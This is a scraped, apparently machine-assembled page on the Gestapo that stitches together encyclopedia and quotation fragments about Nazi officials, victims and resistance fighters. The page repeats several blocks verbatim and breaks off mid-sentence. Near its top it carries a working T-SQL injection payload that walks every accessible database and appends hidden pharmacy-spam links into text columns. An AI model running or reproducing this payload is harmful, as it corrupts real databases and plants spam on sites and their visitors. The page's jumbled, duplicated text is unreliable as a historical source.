Gestapo

What is Gestapo known for?


resistance home

of Polish resistance (Home Army, AK), with Rzeszów Inspectorate of the AK covering several counties. On May 25, during Action Kosba, Home Army soldiers killed on Rzeszów street Gestapo henchmen, Friederich Pottenbaum and Hans Flaschke. In the summer 1944, during Operation Tempest, units of the Home Army attacked German positions in the town, and on August 2, Rzeszów was in the hands of the Home Army. Polish authorities loyal to the Polish government-in-exile London Government


monumental buildings'));declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''cialis sarajevo ''+char(60)+''a href="http:''+char(47)+char(47)+''blog.devparam.com''+char(47)+''page''+char(47)+''cialis-sarajevo-B6K.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''link'''' when 1 then ''''blog.devparam.com'''' else ''''blog.devparam.com'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' cialis cijena u bih''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

'', answered to a local commander known as the ''Inspekteur der Sicherheitspolizei und des SD'' ("Inspector of the Security Police and Security Service") who, in turn, was under the dual command of ''Referat N'' of the Gestapo and also his local SS and Police Leader Krausnick, Helmut, et al. (1968). ''Anatomy of the SS State'', pp. 146-147. The classic image of the Gestapo officer, dressed in trench coat and hat, can be attributed

page 47 The Dresden synagogue (Semper Synagogue), which was burned during ''Kristallnacht'' on 9 November 1938, was rebuilt (New Synagogue (Dresden)) in 2001 and opened for worship on 9 November. The original synagogue's Star of David was installed above the entrance of the new building – Alfred Neugebauer, a local firefighter, saved it from the fire and hid it in his home until the end of the war. Dresden's Jewish population declined from 4675 in 1933, to 1265

committed by the army part of the Wehrmacht , the SS and the police don't look all that bad". Even when the German Army was not involved in war crimes, all of the top military leaders were aware of what was happening in Poland. None made any objection on moral principles; the few who did object did so because of concerns about discipline. Moreover


dramatic performance

Larry Storch turns in one of a solid dramatic performance as a con brought in to help 'doctor' a Gestapo list of American agents. And in the two-parter "War And Crime Plot to Kill" a con played by Richard Kiley is recruited because he was a dead ringer for a German field marshal who was part of a plot to assassinate Hitler (Adolf Hitler). left thumb Residential area of Hamburg (Image:Hamburg after the 1943 bombing.jpg) after the 1943 RAF attack (Operation Gomorrah (Bombing of Hamburg in World War II)) The main RAF effort during the war was the strategic bombing campaign against Germany. From May 31, 1942 RAF Bomber Command was able to mount large-scale night raids, sometimes involving up to 1,000 aircraft. From mid-1942 increasing numbers of these aircraft were heavy four-engined bombers such as the Handley-Page Halifax and the Avro Lancaster. Noteworthy raids include Operation Millennium against Cologne, the first 1000-bomber raid; Operation Chastise, the 'Dambusters' raids on targets in the Ruhr Valley; Operation Gomorrah (Bombing of Hamburg in World War II), the destruction of Hamburg; and the 'Battle of Berlin' (Battle of Berlin (air)). The lighter, fast two-engine de Havilland Mosquito fighter-bomber was used for tactical raids like Operation Carthage, a raid on the Gestapo headquarters in Copenhagen, as well as a night-fighter. The value of this campaign to the allied war effort has been disputed and it can be argued that it was a diversion or resources away from other vital areas - regardless of its moral implications. After repeated interrogations by the Gestapo from the mid-1930s onwards, he was finally dismissed in 1940. Thielicke was conscripted, but nine months later he was able to take over a church in Ravensburg with the help of regional bishop Theophil Wurm. In 1942 he assumed theological office in Stuttgart, from where he delivered numerous sermons and went on lecture tours, continually made difficult by the government by means of bans on travel, publication and preaching. Thielicke published a critique of Bultmann's (Rudolf Karl Bultmann) composition about the demythologisation of the New Testament, which gave rise to a respectful, but inconclusive correspondence between the two. He also contacted the resistance group Freiburger Kreis, but without working actively in their plans for a revolution. According to several sources, Hudal may at the same time have been a Vatican-based informer of German intelligence under the Nazi regime, for either Abwehr of Wilhelm Canaris or for the RSHA. Vatican historian Fr. Robert Graham SJ held that view more categorically in his book ''Nothing Sacred''. Robert Graham and David Alvarez, ''Nothing Sacred: Nazi Espionage against the Vatican, 1939-1945'', London, 1998. On Hudal as a German spy, see also Klaus Voigt, ''Zuflucht auf Widerruf. Exil in Italien 1933-1945'' (Precarious refuge. Exile in Italy 1933-1945), vol. I, Stuttgart, Klett-Cotta, 1989. Several other authors mention his contacts in Rome with SS intelligence chief Walter Rauff. In September 1943, Rauff was sent to Milan, where he took charge of all Gestapo and SD (Sicherheitsdienst) operations throughout northwest Italy. "5 September 2005 releases: German intelligence officers", in Security Service, MI5, Hudal is said to have met Rauff then and to have begun some cooperation with him that was useful afterwards in the setting up of an escape network for Nazis, including for Rauff himself. After the war Rauff escaped from a prisoner camp in Rimini and "hid in a number of Italian convents, apparently under the protection of Bishop Alois Hudal", "Opening of CIA Records under Nazi War Crimes Disclosure Act", in The National Archives, Press Release, May 8, 2002 eventually finding safe haven in Syria , Egypt and later in Chile. German Liaison in Jewish topics (until 1942) *Colonel Josef Meisinger: chief of the Gestapo, was the Nazi liaison with Japanese military and government on the Jewish question. *Dr.Franz Joseph Spahn: leader-designee and political adviser of the NSDAP (Nazi) party in Japan in that period Kapp was born in German part of Silesia. After the outbreak of World War II he joined the Gestapo. Initially a translator, with time he was promoted to the deputy commander of a Gestapo outpost in Jędrzejów. Among his tasks were recruitment of collaborators and assisting in the arrest of people in the powiats of Jędrzejów and Włoszczowa. He was also one of the people to brutally interrogate and torture those arrested by the Germans. According to his own testimony, he personally murdered 452 Poles, including 365 Jews. The designated concentration camps were not classified as "KZ-Lager" by the Nazis, but rather as ”Häftingslager” under the administration of the Nazi "security police," the SS and Gestapo. Indeed, the Nazi authorities deported over 700 Jews from Norway to Auschwitz, over 500 ''Nacht und Nebel'' prisoners to Natzweiler; and thousands more to Sachsenhausen (Sachsenhausen concentration camp), Ravensbrück and other prisons and camps in Germany. Most of these stayed in Norwegian camps during transit. Politically, a follower of Charles Maurras, his views evolved towards fascism in the 1930s. Bonnard was one of the ministers of National Education under the Vichy regime (1942–44). The political satirist Jean Galtier-Boissière gave him the nickname "la Gestapette", Olivier Mathieu, ''Abel Bonnard, une aventure inachevée'', Mercure, 1988, p. 188. a portmanteau of Gestapo and ''tapette'', the latter French slang for a homosexual. The name, along with the homosexual inclinations it implied, became well known. Jean-François Louette, ''Valéry et Sartre'', in ''Bulletin des études valéryennes'', éd. L'Harmattan, 2002, p. 105, on line At the end of the 1920s Aschberg moved to France, where he bought Château du Bois du Rocher at Jouy-en-Josas, in 1950 offered to the Unesco and subsequently sold to the Yvelines department (Departments of France). He helped finance the Popular Front (Popular Front (Spain)) during the Spanish Civil War. Again Münzenberg was often invited to Aschberg's Paris townhouse on the place Casimir-Périer and received the funds for launching ''Die Zukunft'' (The Future), a weekly political broadsheet. The Left Bank (Rive Gauche (Paris)) townhouse was gradually transformed into a kind of all-purpose Münzenberg salon, which did attract the attention of the Gestapo, spying on the meetings taking place there. With the outbreak of World War II Aschberg was interned in Camp Vernet by the French authorities. Thierry Wolton, ''Le grand recrutement'', Paris, Bernard Grasset 1993, p. 183 Due to his Jewish background he was endangered when France was invaded by Nazi Germany in 1940 and could not sooner as January 1941 leave Europe via Lisbon when Vichy government (Vichy France) gave order to set him free. Aschberg and his family fled to the USA where he immediately started to support the Free World Association. After the war, Aschberg moved back to Sweden. In 1946 he started publishing his memoirs in three volumes (''En vandrande jude från Glasbruksgatan'', ''Återkomsten'', and ''Gästboken'') and he invited Margarete Buber-Neumann to write there ''Under Two Dictators: Prisoner of Stalin and Hitler''. Notes After the Polish Defense War of 1939 (Polish September Campaign) the German authorities of the General Gouvernment (General Government) mobilized all the pre-war Polish policemen to the German service. The so-called Navy-Blue Police (''Policja granatowa'', nick-named after the colour of their uniforms) were used as an auxiliary unit of the Gestapo and Kripo. In 1908, Filipkiewicz joined the Society of Polish Artists. He became the contributing artist to the legendary Zielony Balonik art-and-literary cabaret. In 1929, Filipkiewicz was awarded the Golden Medal of the Universal Exhibition in Poznań. Four years later, he was also awarded by the Polish Academy of Skills for his works. During the 1939 Invasion of Poland (Invasion of Poland (1939)) he fled to Hungary, where he became an active member of several underground organizations. Arrested by the Gestapo, he was sent to the Mauthausen-Gusen concentration camp where he was murdered. Taken prisoner of war by the Germans, he spent the remainder of World War II in various German POW camps, including Oflag VII-C in Laufen (Laufen, Germany), Oflag XI-B in Brunswick (Braunschweig), Oflag II-C in Woldenberg and Oflag II-B in Arnswalde. Transferred to the Oflag II-D in Gross-Born, he was the highest ranking officer there and the informal commander of all the allied prisoners held there. He also became the lead organizer of an underground organization there, intending to prepare an escape of the prisoners. Handed over to the Gestapo, he was imprisoned in the Mauthausen-Gusen concentration camp, where he died. Life in Nazi Germany Odeman's boyfriend, a bookseller, was pressured by the Gestapo to denounce him in 1937 and he was arrested under Paragraph 175, which outlawed homosexual acts between men. Odeman was sentenced to 27 months in prison, which he spent first in Plötzensee and then in various Berlin prisons. After his release in 1940, Odeman was subject to a 'Berufsverbot' forbidding him from carrying on certain professions, and he was not permitted to appear in public. He also remained under police surveillance. thumb right The people (File:Hermann Goering - Nuremberg2.jpg) can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked and denounce the pacifists for lack of patriotism and exposing the country to danger. It works the same way in any country. Reichsmarschall (w:Reichsmarschall) '''Hermann Wilhelm Göring (wikipedia:en:Hermann Göring)''' also rendered as '''Goering''' (12 January 1893 – 15 October 1946) was a German politician, military leader, and leading member of the Nazi party. He was founder of the Gestapo (w:Gestapo), and Head of the Luftwaffe (w:Luftwaffe). * '''Indeed, the ideal for a well-functioning democratic state is like the ideal for a gentleman's well-cut suit — it is not noticed.''' For the common people of Britain, Gestapo (w:Gestapo) and concentration camps have approximately the same degree of reality as the monster of Loch Ness (w:Loch Ness Monster). Atrocity propaganda is helpless against this healthy lack of imagination. ** ''A Challenge to 'Knights in Rusty Armor'', The ''New York Times'', (14 February 1943). thumb right (File:Erich Fried.jpg) '''Erich Fried (w:Erich Fried)''' (6 May 1921 – 22 November 1988) was an Austrian (w:Austrian) poet, essayist (w:essayist) and translator (w:translator). Born in a Jewish family in Vienna (w:Vienna), he fled with his mother to London after his father's murder by the Gestapo (w:Gestapo) following the Anschluss with Nazi Germany (w:Nazi Germany). From 1952 to 1968 he worked as a political commentator for the BBC German Service. He translated works by Shakespeare, T S Eliot (w:T S Eliot) and Dylan Thomas. He died in Baden-Baden (w:Baden-Baden), Germany, in 1988 and is buried in Kensal Green cemetery, London. thumb The best political weapon is the weapon of terror. Cruelty commands respect. Men may hate us. But, we don't ask for their love; only for their fear. (File:Bundesarchiv Bild 183-R99621, Heinrich Himmler.jpg) '''Heinrich Luitpold Himmler (w:Heinrich Himmler)''' (7 October 1900 – 23 May 1945) was the commander of the German ''Schutzstaffel (w:Schutzstaffel)'' (SS (w:SS)) and one of the most powerful men in Nazi Germany. As Reichsführer-SS (w:Reichsführer-SS) he controlled the SS and the Gestapo (w:Gestapo). He was the founder and officer-in-charge of the Nazi concentration camps (w:Nazi concentration camps) and the ''Einsatzgruppen (w:Einsatzgruppen)'' death squads. * '''I believe in the magic and authority of words.''' ** René Char, in a message as a member of the French resistance, to his superiors in London, insisting that certain codewords "The library is on fire" be changed after a disastrous parachute drop which set a forest on fire and alerted the Gestapo (w:Gestapo) to the location of his group of Maquis (w:Maquis (World War II)) fighters, as quoted in ''René Char : This Smoke That Carried Us : Selected Poems'' (2004) edited by Susanne Dubroff Wiesenthal devoted almost his entire Post-WWII life tracking down and pursuing Nazi war criminals. In 1947 he and thirty colleages founded the Jewish Documentation Center in Linz (w:Linz), Austria which was devoted to collecting information on the whearabouts of war criminals and the documentation of their crimes. But the brewing cold war caused the U.S. and Soviet Union to quickly lose interest in the prosecution of Nazis. Wiesenthal closed the Linz centre in 1954 but gained new hope with the capture of Adolf Eichmann (w:Adolf Eichmann), whom he helped to track down. Possibly his biggest success was the capture and trial of Franz Stangl (w:Franz Stangl), commandant at the Treblinka (w:Treblinka) extermination camp. In total he and the Simon Wiesenthal center he set up in the U.S. in 1977 is thought to have brought some 1100 war criminals to justice. But he failed to capture Gestapo (w:Gestapo) chief Heinrich Müller (w:Heinrich Müller) and Auschwitz "doctor" Josef Mengele (w:Josef Mengele).


acting leadership

was also given the acting leadership of the State Police post at Neustadt an der Weinstraße. Appointed a government adviser on 4 November 1938, Bradfisch stayed there until his assignment as leader of Einsatzkommando (EK) 8, attached to Einsatzgruppe (EG) B of the Security Police and the ''Sicherheitsdienst'' in June 1941. Since Böse was a convinced communist he was arrested in 1943 by the Gestapo. He died two days after he was released from the ''KZ Mißler''. Till this day Böse is known as one of the most passionate resistance fighters of the KPD (Communist Party of Germany). The ''Hermann-Böse-Straße'' and the Hermann-Böse-Gymnasium (since 2005) in Bremen are named after him. In February 1943, two operatives of a Dutch resistance cell called ''CS-6'' (for their address, 6 Corelli Street, in Amsterdam) rang the doorbell of a 70-year-old Dutch collaborator (Collaborationism), retired Lieutenant-General Hendrik A. Seyffardt, in The Hague. After he answered and identified himself, they shot him twice in the abdomen. He died a day later. This assassination of a lower-level official triggered a cruel reprisal from SS (Schutzstaffel) General Hanns Albin Rauter, the killing of 50 Dutch hostages and a series of raids on Dutch universities. The 'SILBERTANNE' murders from Niederlanders in de Waffen-SS. Retrieved 11 April 2008. By accident the Dutch resistance attacked Rauter's car on 6 March 1945, which in turn led to the killings at De Woeste Hoeve (Woeste Hoeve), where 117 men were rounded up and executed at the site of the ambush and another 147 Gestapo prisoners executed elsewhere. The Hins' World War II Collection – Memorial Woeste Hoeve. Retrieved 11 April 2008. A similar war crime occurred on 1–2 October 1944, in the village of Putten, where over 600 men were deported to camps to be killed in retaliation for resistance activity in the Putten raid. Brute force hit small Dutch town fifty years ago, from GoDutch.com, first published October 23, 1994. Retrieved 11 April 2008 His reward was 0.5 million Reichsmark (German reichsmark) and a new identity "Karl Jerhot". He married a German woman and spent the rest of the war as a Gestapo spy. thumb Memorial, St. Helier: ''In memoriam: between 1940 and 1945, more than 300 islanders were taken from Jersey to concentration camps and prisons on the continent, for political crimes committed against the German occupying forces.'' (Image:Jersey Occupation deportation memorial.jpg) There was no resistance movement in the Channel Islands on the scale of that in mainland France. This has been ascribed to a range of factors including the physical separation of the islands, the density of troops (up to one German for every two islanders), the small size of the islands precluding any hiding places for resistance groups and the absence of the Gestapo from the occupying forces. Moreover, much of the population of military age had already joined the British Army. Because of the small size of the islands, most resistance involved individuals risking their lives to save someone else. ''Senator is a driving force behind move for international recognition'', Jersey Evening Post, 9 March 2010 Later life After the Nazis gained power (Machtergreifung) in 1933, Dinter attempted to re-join the NSDAP. He was rebuffed and the Gestapo intensified its surveillance of him and even arrested him for a short while. Heinrich Himmler banned Dinter's "Deutsche Volkskirche" in 1937. Two years later the ''Reichsschrifttumskammer'', Nazi Germany's official writers' association, expelled Dinter, effectively banning him from publishing anything, as one had to be a member to do so. In 1942, he was brought before a Special Court (''Sondergericht'') in Freiburg im Breisgau to be tried for an offence. In 1945, he was sentenced by a Denazification court in Offenburg to a fine of 1000 Reichsmark (German reichsmark). After the Gestapo arrested Southgate in May 1944 who was subsequently deported to Buchenwald, she became leader of the new Wrestler Network (SOE F Section networks#Wrestler), under a new code-name "Pauline", in the Valencay–Issoudun–Châteauroux triangle. She reorganised the network with the help of her fiancé, Henri Cornioley, and it fielded over 1,500 members of the Maquis (Maquis (World War II)); they played an important role fighting the German Army during the D-Day landings. They were so effective that the Nazi (Nazis) regime put a ƒ1,000,000 bounty on her head. The Germans even ordered 2,000 men to attack her force with artillery in a 14 hour long battle. Cornioley states: Politically, a follower of Charles Maurras, his views evolved towards fascism in the 1930s. Bonnard was one of the ministers of National Education under the Vichy regime (1942–44). The political satirist Jean Galtier-Boissière gave him the nickname "la Gestapette", Olivier Mathieu, ''Abel Bonnard, une aventure inachevée'', Mercure, 1988, p. 188. a portmanteau of Gestapo and ''tapette'', the latter French slang for a homosexual. The name, along with the homosexual inclinations it implied, became well known. Jean-François Louette, ''Valéry et Sartre'', in ''Bulletin des études valéryennes'', éd. L'Harmattan, 2002, p. 105, on line At the end of the 1920s Aschberg moved to France, where he bought Château du Bois du Rocher at Jouy-en-Josas, in 1950 offered to the Unesco and subsequently sold to the Yvelines department (Departments of France). He helped finance the Popular Front (Popular Front (Spain)) during the Spanish Civil War. Again Münzenberg was often invited to Aschberg's Paris townhouse on the place Casimir-Périer and received the funds for launching ''Die Zukunft'' (The Future), a weekly political broadsheet. The Left Bank (Rive Gauche (Paris)) townhouse was gradually transformed into a kind of all-purpose Münzenberg salon, which did attract the attention of the Gestapo, spying on the meetings taking place there. With the outbreak of World War II Aschberg was interned in Camp Vernet by the French authorities. Thierry Wolton, ''Le grand recrutement'', Paris, Bernard Grasset 1993, p. 183 Due to his Jewish background he was endangered when France was invaded by Nazi Germany in 1940 and could not sooner as January 1941 leave Europe via Lisbon when Vichy government (Vichy France) gave order to set him free. Aschberg and his family fled to the USA where he immediately started to support the Free World Association. After the war, Aschberg moved back to Sweden. In 1946 he started publishing his memoirs in three volumes (''En vandrande jude från Glasbruksgatan'', ''Återkomsten'', and ''Gästboken'') and he invited Margarete Buber-Neumann to write there ''Under Two Dictators: Prisoner of Stalin and Hitler''. Notes After the Polish Defense War of 1939 (Polish September Campaign) the German authorities of the General Gouvernment (General Government) mobilized all the pre-war Polish policemen to the German service. The so-called Navy-Blue Police (''Policja granatowa'', nick-named after the colour of their uniforms) were used as an auxiliary unit of the Gestapo and Kripo. In 1908, Filipkiewicz joined the Society of Polish Artists. He became the contributing artist to the legendary Zielony Balonik art-and-literary cabaret. In 1929, Filipkiewicz was awarded the Golden Medal of the Universal Exhibition in Poznań. Four years later, he was also awarded by the Polish Academy of Skills for his works. During the 1939 Invasion of Poland (Invasion of Poland (1939)) he fled to Hungary, where he became an active member of several underground organizations. Arrested by the Gestapo, he was sent to the Mauthausen-Gusen concentration camp where he was murdered. Taken prisoner of war by the Germans, he spent the remainder of World War II in various German POW camps, including Oflag VII-C in Laufen (Laufen, Germany), Oflag XI-B in Brunswick (Braunschweig), Oflag II-C in Woldenberg and Oflag II-B in Arnswalde. Transferred to the Oflag II-D in Gross-Born, he was the highest ranking officer there and the informal commander of all the allied prisoners held there. He also became the lead organizer of an underground organization there, intending to prepare an escape of the prisoners. Handed over to the Gestapo, he was imprisoned in the Mauthausen-Gusen concentration camp, where he died. Life in Nazi Germany Odeman's boyfriend, a bookseller, was pressured by the Gestapo to denounce him in 1937 and he was arrested under Paragraph 175, which outlawed homosexual acts between men. Odeman was sentenced to 27 months in prison, which he spent first in Plötzensee and then in various Berlin prisons. After his release in 1940, Odeman was subject to a 'Berufsverbot' forbidding him from carrying on certain professions, and he was not permitted to appear in public. He also remained under police surveillance. thumb right The people (File:Hermann Goering - Nuremberg2.jpg) can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked and denounce the pacifists for lack of patriotism and exposing the country to danger. It works the same way in any country. Reichsmarschall (w:Reichsmarschall) '''Hermann Wilhelm Göring (wikipedia:en:Hermann Göring)''' also rendered as '''Goering''' (12 January 1893 – 15 October 1946) was a German politician, military leader, and leading member of the Nazi party. He was founder of the Gestapo (w:Gestapo), and Head of the Luftwaffe (w:Luftwaffe). * '''Indeed, the ideal for a well-functioning democratic state is like the ideal for a gentleman's well-cut suit — it is not noticed.''' For the common people of Britain, Gestapo (w:Gestapo) and concentration camps have approximately the same degree of reality as the monster of Loch Ness (w:Loch Ness Monster). Atrocity propaganda is helpless against this healthy lack of imagination. ** ''A Challenge to 'Knights in Rusty Armor'', The ''New York Times'', (14 February 1943). thumb right (File:Erich Fried.jpg) '''Erich Fried (w:Erich Fried)''' (6 May 1921 – 22 November 1988) was an Austrian (w:Austrian) poet, essayist (w:essayist) and translator (w:translator). Born in a Jewish family in Vienna (w:Vienna), he fled with his mother to London after his father's murder by the Gestapo (w:Gestapo) following the Anschluss with Nazi Germany (w:Nazi Germany). From 1952 to 1968 he worked as a political commentator for the BBC German Service. He translated works by Shakespeare, T S Eliot (w:T S Eliot) and Dylan Thomas. He died in Baden-Baden (w:Baden-Baden), Germany, in 1988 and is buried in Kensal Green cemetery, London. thumb The best political weapon is the weapon of terror. Cruelty commands respect. Men may hate us. But, we don't ask for their love; only for their fear. (File:Bundesarchiv Bild 183-R99621, Heinrich Himmler.jpg) '''Heinrich Luitpold Himmler (w:Heinrich Himmler)''' (7 October 1900 – 23 May 1945) was the commander of the German ''Schutzstaffel (w:Schutzstaffel)'' (SS (w:SS)) and one of the most powerful men in Nazi Germany. As Reichsführer-SS (w:Reichsführer-SS) he controlled the SS and the Gestapo (w:Gestapo). He was the founder and officer-in-charge of the Nazi concentration camps (w:Nazi concentration camps) and the ''Einsatzgruppen (w:Einsatzgruppen)'' death squads. * '''I believe in the magic and authority of words.''' ** René Char, in a message as a member of the French resistance, to his superiors in London, insisting that certain codewords "The library is on fire" be changed after a disastrous parachute drop which set a forest on fire and alerted the Gestapo (w:Gestapo) to the location of his group of Maquis (w:Maquis (World War II)) fighters, as quoted in ''René Char : This Smoke That Carried Us : Selected Poems'' (2004) edited by Susanne Dubroff Wiesenthal devoted almost his entire Post-WWII life tracking down and pursuing Nazi war criminals. In 1947 he and thirty colleages founded the Jewish Documentation Center in Linz (w:Linz), Austria which was devoted to collecting information on the whearabouts of war criminals and the documentation of their crimes. But the brewing cold war caused the U.S. and Soviet Union to quickly lose interest in the prosecution of Nazis. Wiesenthal closed the Linz centre in 1954 but gained new hope with the capture of Adolf Eichmann (w:Adolf Eichmann), whom he helped to track down. Possibly his biggest success was the capture and trial of Franz Stangl (w:Franz Stangl), commandant at the Treblinka (w:Treblinka) extermination camp. In total he and the Simon Wiesenthal center he set up in the U.S. in 1977 is thought to have brought some 1100 war criminals to justice. But he failed to capture Gestapo (w:Gestapo) chief Heinrich Müller (w:Heinrich Müller) and Auschwitz "doctor" Josef Mengele (w:Josef Mengele).


teaching national

, political investigations declined with only 18 investigations in 1938, 13 in 1939, two in 1941, seven in 1942, four in 1943 and one in 1944. The "other" category associated with non-conformity included everything from a man who drew a caricature of Hitler to a Catholic teacher suspected of being lukewarm about teaching National Socialism in his classroom. The "administrative control" category concerned whose were breaking the law concerning residency in the city. The "conventional criminality" category concerned economic crimes such as money laundering, smuggling and homosexuality. Gellately, Robert. ''The Gestapo and German Society'', p 49. Normal methods of investigation included various forms of blackmail, threats and extortion to secure "confessions". Gellately, Robert. ''The Gestapo and German Society'', p 131. Beyond that, sleep deprivation and various forms of harassment were used as investigative methods. Failing that, torture and planting evidence were common methods of resolving a case, especially if the case concerned someone Jewish. Gellately, Robert. ''The Gestapo and German Society'', p 132. While the total numbers of Gestapo officials were limited when contrasted against the represented populations, the average racial national comrade (''Volksgenosse'') was typically not under observation, so the statistical ratios between Gestapo officials and inhabitants is "largely worthless and of little significance" according to some recent scholars. Dams, Carsten and Stolle, Michael, ''The Gestapo: Power and Terror in the Third Reich'', p 35. As historian Eric Johnson remarked, "The Nazi terror was selective terror," with its focus upon political opponents, ideological dissenters (clergy and religious organisations), career criminals, the Sinti and Roma population, handicapped persons, homosexuals and above all, upon the Jews. Johnson, Eric, ''Nazi Terror: The Gestapo, Jews and Ordinary Germans'', pp 483–485. 'Selective terror' by the Gestapo, as mentioned by Johnson, is also supported by historian Richard Evans who states that, "Violence and intimidation rarely touched the lives of most ordinary Germans. Denunciation was the exception, not the rule, as far as the behaviour of the vast majority of Germans was concerned." Evans (2006), ''The Third Reich in Power'', p 114. The involvement of ordinary Germans in denunciations also needs to be put into perspective so as not to exonerate the Gestapo. As Evans makes clear, "...it was not the ordinary German people who engaged in surveillance, it was the Gestapo; nothing happened until the Gestapo received a denunciation, and it was the Gestapo's active pursuit of deviance and dissent that was the only thing that gave denunciations meaning." Evans (2006), ''The Third Reich in Power'', p 115. The Gestapo's effectiveness remained in the ability to "project" omnipotence...they co-opted the assistance of the German population by using denunciations to their advantage; proving in the end a powerful, ruthless and effective organ of terror under the Nazi regime that was seemingly everywhere. Delarue, Jacques, ''The Gestapo: A History of Horror'', pp 83–140. Lastly, the Gestapo's effectiveness, while aided by denunciations and the watchful eye of ordinary Germans, was more the result of the coordination and cooperation amid the various police organs within Germany, the assistance of the SS, and the support provided by the various Nazi Party organisations; all of them together forming an organised persecution network. Dams, Carsten and Stolle, Michael, ''The Gestapo: Power and Terror in the Third Reich'', p 82. Nuremberg trials Politically, a follower of Charles Maurras, his views evolved towards fascism in the 1930s. Bonnard was one of the ministers of National Education under the Vichy regime (1942–44). The political satirist Jean Galtier-Boissière gave him the nickname "la Gestapette", Olivier Mathieu, ''Abel Bonnard, une aventure inachevée'', Mercure, 1988, p. 188. a portmanteau of Gestapo and ''tapette'', the latter French slang for a homosexual. The name, along with the homosexual inclinations it implied, became well known. Jean-François Louette, ''Valéry et Sartre'', in ''Bulletin des études valéryennes'', éd. L'Harmattan, 2002, p. 105, on line At the end of the 1920s Aschberg moved to France, where he bought Château du Bois du Rocher at Jouy-en-Josas, in 1950 offered to the Unesco and subsequently sold to the Yvelines department (Departments of France). He helped finance the Popular Front (Popular Front (Spain)) during the Spanish Civil War. Again Münzenberg was often invited to Aschberg's Paris townhouse on the place Casimir-Périer and received the funds for launching ''Die Zukunft'' (The Future), a weekly political broadsheet. The Left Bank (Rive Gauche (Paris)) townhouse was gradually transformed into a kind of all-purpose Münzenberg salon, which did attract the attention of the Gestapo, spying on the meetings taking place there. With the outbreak of World War II Aschberg was interned in Camp Vernet by the French authorities. Thierry Wolton, ''Le grand recrutement'', Paris, Bernard Grasset 1993, p. 183 Due to his Jewish background he was endangered when France was invaded by Nazi Germany in 1940 and could not sooner as January 1941 leave Europe via Lisbon when Vichy government (Vichy France) gave order to set him free. Aschberg and his family fled to the USA where he immediately started to support the Free World Association. After the war, Aschberg moved back to Sweden. In 1946 he started publishing his memoirs in three volumes (''En vandrande jude från Glasbruksgatan'', ''Återkomsten'', and ''Gästboken'') and he invited Margarete Buber-Neumann to write there ''Under Two Dictators: Prisoner of Stalin and Hitler''. Notes After the Polish Defense War of 1939 (Polish September Campaign) the German authorities of the General Gouvernment (General Government) mobilized all the pre-war Polish policemen to the German service. The so-called Navy-Blue Police (''Policja granatowa'', nick-named after the colour of their uniforms) were used as an auxiliary unit of the Gestapo and Kripo. In 1908, Filipkiewicz joined the Society of Polish Artists. He became the contributing artist to the legendary Zielony Balonik art-and-literary cabaret. In 1929, Filipkiewicz was awarded the Golden Medal of the Universal Exhibition in Poznań. Four years later, he was also awarded by the Polish Academy of Skills for his works. During the 1939 Invasion of Poland (Invasion of Poland (1939)) he fled to Hungary, where he became an active member of several underground organizations. Arrested by the Gestapo, he was sent to the Mauthausen-Gusen concentration camp where he was murdered. Taken prisoner of war by the Germans, he spent the remainder of World War II in various German POW camps, including Oflag VII-C in Laufen (Laufen, Germany), Oflag XI-B in Brunswick (Braunschweig), Oflag II-C in Woldenberg and Oflag II-B in Arnswalde. Transferred to the Oflag II-D in Gross-Born, he was the highest ranking officer there and the informal commander of all the allied prisoners held there. He also became the lead organizer of an underground organization there, intending to prepare an escape of the prisoners. Handed over to the Gestapo, he was imprisoned in the Mauthausen-Gusen concentration camp, where he died. Life in Nazi Germany Odeman's boyfriend, a bookseller, was pressured by the Gestapo to denounce him in 1937 and he was arrested under Paragraph 175, which outlawed homosexual acts between men. Odeman was sentenced to 27 months in prison, which he spent first in Plötzensee and then in various Berlin prisons. After his release in 1940, Odeman was subject to a 'Berufsverbot' forbidding him from carrying on certain professions, and he was not permitted to appear in public. He also remained under police surveillance. thumb right The people (File:Hermann Goering - Nuremberg2.jpg) can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked and denounce the pacifists for lack of patriotism and exposing the country to danger. It works the same way in any country. Reichsmarschall (w:Reichsmarschall) '''Hermann Wilhelm Göring (wikipedia:en:Hermann Göring)''' also rendered as '''Goering''' (12 January 1893 – 15 October 1946) was a German politician, military leader, and leading member of the Nazi party. He was founder of the Gestapo (w:Gestapo), and Head of the Luftwaffe (w:Luftwaffe). * '''Indeed, the ideal for a well-functioning democratic state is like the ideal for a gentleman's well-cut suit — it is not noticed.''' For the common people of Britain, Gestapo (w:Gestapo) and concentration camps have approximately the same degree of reality as the monster of Loch Ness (w:Loch Ness Monster). Atrocity propaganda is helpless against this healthy lack of imagination. ** ''A Challenge to 'Knights in Rusty Armor'', The ''New York Times'', (14 February 1943). thumb right (File:Erich Fried.jpg) '''Erich Fried (w:Erich Fried)''' (6 May 1921 – 22 November 1988) was an Austrian (w:Austrian) poet, essayist (w:essayist) and translator (w:translator). Born in a Jewish family in Vienna (w:Vienna), he fled with his mother to London after his father's murder by the Gestapo (w:Gestapo) following the Anschluss with Nazi Germany (w:Nazi Germany). From 1952 to 1968 he worked as a political commentator for the BBC German Service. He translated works by Shakespeare, T S Eliot (w:T S Eliot) and Dylan Thomas. He died in Baden-Baden (w:Baden-Baden), Germany, in 1988 and is buried in Kensal Green cemetery, London. thumb The best political weapon is the weapon of terror. Cruelty commands respect. Men may hate us. But, we don't ask for their love; only for their 